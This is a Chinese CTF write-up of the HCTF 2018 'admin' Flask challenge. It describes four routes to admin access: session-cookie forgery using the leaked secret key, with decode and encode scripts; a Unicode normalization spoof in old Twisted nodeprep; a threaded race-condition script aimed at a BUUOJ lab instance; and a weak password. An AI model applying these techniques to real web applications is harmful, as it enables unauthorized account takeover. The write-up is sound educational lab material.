[HCTF 2018]admin

4 种解题思路

  • 1.flask session 伪造
  • 2.unicode 欺骗
  • 3. 条件竞争
  • 4. 弱密码

# 1.Flask ssion 伪造

在 change password 页面查看源码,发现提供了题目的源码地址

<!-- https://github.com/woadsl1234/hctf_flask/ -->

想要伪造 session,需要先了解一下 flask 中 session 是怎么构造的。
flask 中 session 是存储在客户端 cookie 中的,也就是存储在本地。flask 仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而 flask 并没有提供加密操作,所以其 session 的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
具体可参考:
https://xz.aliyun.com/t/3569
https://www.leavesongs.com/PENETRATION/client-session-security.html#

我们可以通过脚本将 session 解密一下:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
    return session_json_serializer.loads(payload)
if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

运行脚本,解密一下 session

python decode.py .eJxFkE1rwkAURf9KeWsX-SAbwUVgYrDwXpCOhjcbsUk0M8lYiEr0if-9qYV2feDee-4DdoehObcwvwzXZgY7W8P8AW-fMAeK-MZ66bl8b1EZX5QoRtU96e5WaGNJsZBKE3SZGJclJucYHQdGV3eKMCxyFJRVZFQaUE6Wo3XI0lrMs4B13aNax1iSQ9cJlqsRpYuNq0IsTctSjSybkPXWTv3WuE1iHPVcbmIu13ejjgl56gvNN3K8gOcMqvNw2F2-uub0p4DqZ1IVsVvaIs-EfDaSTicNDND1LUoqlC8t62qcZsTktx7HxSvO-v2x-U-SdvhIf8lp7ycAIczgem6G12cQBvD8BtkcbD4.YMn_Pg.PfMYnCtdkcgwd0erQ0NEzJOyqH8

image-20210616220413039

修改 session 中的 name 为 admin,之后再加密。

密钥在源码里 config.py 可以找到。

image-20210616220559497

加密脚本:

https://github.com/noraj/flask-session-cookie-manager

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'7f1a1faba06f9c3d7e59196b463409213f19df7264e727c58c3326d044cbcd5c8b0a4a7e0471cc2931b0397f751fac70c55a5babbf59f3eae7ad2d896ce96166', 'csrf_token': b'067276b1b8a36a0503d3429a3034aba702976ef3', 'image': b'38kH', 'name': 'admin', 'user_id': '10'}"

得到修改好的 session

image-20210616220824235

修改 cookie 后,拿到 flag

image-20210616220902464

# 2.unicode 欺骗

register login 对用户名使用了自定义函数 strlower ()

image-20210616223349773

nodeprep.prepare() 来自

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

requirements.txt 中可以看到 Twisted 的版本

image-20210616223453086

Twisted 版本为 10.2.0,而目前 (2020/10/28) Twisted 最新版本已有 20.3.0,这里使用的版本非常旧
10.2.0 版的 nodeprep.prepare () 对一些特殊的 Unicode 编码处理后会得到一个正常的字符
使用以下网站寻找 admin 账户的特殊 Unicode 编码
https://unicode-table.com/en/search/?q=Modifier+Letter+Capital

def strlower(username):
    username = nodeprep.prepare(username)
    return username

不知道为啥,我这个 unicode 转换会报错,就 utf-8 编码一下吧。站长工具是可以直接转的。

image-20210617120138692

image-20210617120231570

那么注册一个账户 ᴬᴰᴹᴵᴺ ,注册时 nodeprep.prepare() 处理一遍得到 ADMIN ,然后修改密码时 nodeprep.prepare() 会进行第二次处理,得到 admin 即可修改 admin 账户密码

再登录 admin 的账号,就能得到 flag。

image-20210617121332364

# 3. 条件竞争

在 session 赋值时,登录、注册都是直接进行赋值,未进行安全验证,也就可能存在以下一种可能:
我们注册一个用户 test,现在有一个进程 1 一直重复进行登录、改密码操作,进程 2 一直注销,且以 admin 用户和进程 1 所改的密码进行登录,是不是有可能当进程 1 进行到改密码操作时,进程 2 恰好注销且要进行登录,此时进程 1 改密码需要一个 session,而进程 2 刚好将 session [‘name’] 赋值为 admin,然后进程 1 调用此 session 修改密码,即修改了 admin 的密码。

由于 buu 限制 web 的并发线程,复现并没有成功。

import requests
import threading
import time
def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/login", data=data)
def logout(s):
    return s.get("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/logout")
def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/change", data=data)
def func1(s):
    login(s, 'test', 'test')
    change(s, 'test')
def func2(s):
    logout(s)
    res = login(s, 'admin', 'test')
 
    if 'flag' in res.text:
        print('finish')
    if 'Too Many' in res.text:
        print('wrong')
def main():
    for i in range(1000):
        print(i)
        time.sleep(0.5)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()
if __name__ == "__main__":
    main()

image-20210617123344299

# 4. 弱密码

账号 admin

密码 123

得到 flag

# 5. 知识补充

  • pip 安装特点版本的模块

    安装指定版本:

    pip install openpyxl==2.3.4

    更新到最新版本:

    pip install --upgrade openpyxl

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝